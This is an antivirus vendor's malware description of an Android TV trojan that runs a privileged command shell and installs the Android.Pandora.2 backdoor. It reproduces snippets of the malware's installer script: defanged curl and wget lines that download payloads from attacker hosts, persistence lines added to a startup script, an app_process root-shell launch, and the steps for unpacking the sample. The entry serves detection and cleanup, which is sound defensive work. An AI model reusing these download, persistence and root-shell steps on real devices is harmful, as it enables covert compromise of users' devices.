Meine Bibliothek
Meine Bibliothek

+ Zur Bibliothek hinzufügen


Ihre Anfragen

Rufen Sie uns an

+7 (495) 789-45-86



Added to the Dr.Web virus database: 2023-06-15

Virus description added:


  • 59c9f06b3ff2abceb7116ffc9f4566d2466ae4c4


A trojan program designed to run on Android TV devices. Its main function is to launch two objects on a compromised device: a command-line interpreter with elevated privileges and an installer for the Android.Pandora.2 backdoor.

Indicators of compromise:

  • GoMediaService, which can have different full names in different cases. For example:

  • The presence of the file in the assets/ directory of the .apk file

Operating routine

GoMediaService is started in the foreground when the device is booted, or when the application is started (when an activity is created).

The service copies the program from assets/ to the application file directory and runs it as follows:

Runtime.getRuntime().exec(savePath + '/' + "" + " -f " + savePath)

This program is an ELF file, written in Go, that has been obfuscated and then packaged, making it difficult for it to be analyzed in detail.

So far, it has been determined that the program can do the following:

  • send a request to hxxp://ip-api[.]com/json,
  • establish communication with i4nl[.]yalywi1gso[.]com, port 9999 over the TCP protocol
  • send data from hxxp://ip-api[.]com/json to i4nl[.]yalywi1gso[.]com receive UUID and then exchange the following messages


  • unpack the following set of files:


The file is the downloader and installer for the Android.Pandora.2 backdoor.

Some code snippets from this script:

Downloading and extracting Android.Pandora:

cd /data && /data/curl -C - hxxp://fadfatest[.]pneydn[.]com:8080/stb-download/tool/supervisord.tar.gz -O  && unzip supervisord.tar.gz  && chmod 755 curl pandoraspearrk supervisord s.conf arp 

Adding a line to the shell script:

super=`cat $rootspath|grep "/system/bin/supervisord -c /system/bin/s.conf "`
if [ "x${super}" == "x" ];then
    echo "\n" >> $rootspath
    echo "/system/bin/supervisord -c /system/bin/s.conf & " >> $rootspath
    if [ "$resvalue" -eq 0 ];then
         nohup /system/bin/supervisord -c /system/bin/s.conf 2>&1 &

Downloading additional programs:

function keep_get_tool()
    cd /data
    if [ -f "/system/bin/curl" ];then
    if [ -f "/data/curl" ];then
        if [ `wc -c curl|awk -F" " '{print $1}'` -eq 1010536 ];then
    busybox wget -c hxxp://195[.]154.168.94/curl
    while true
        echo 'start' ${num}
        num=`expr $num + 1`
        if [ `wc -c curl|awk -F" " '{print $1}'` -eq 1010536 ];then
            echo "ok"
        busybox wget -c hxxp://195[.]154.168.94/curl
        sleep 2
        if [ "${num}" -gt 200 ];then
    chmod 755 curl
    cd /data

The installation script is detected as Android.Pandora.15.

The classes.dexfile is detected as Tool.AppProcessShell.1, a command-line interpreter with elevated privileges (the project is now abandoned by its author). This Dalvik Executable application is launched using app_process as follows:

app_process -Djava.class.path=./classes.dex /system/bin shellService.Main

Later, programs on the device can communicate with this command-line shell through open port 4521.

To unpack, you need to replace the byte sequence b"\x75\x40\x28\x71" with b"\x55\x50\x58\x21" throughout the file. Then this file can be unpacked with UPX.

Curing recommendations


  1. If the mobile device is operating normally, download and install Dr.Web for Android Light. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android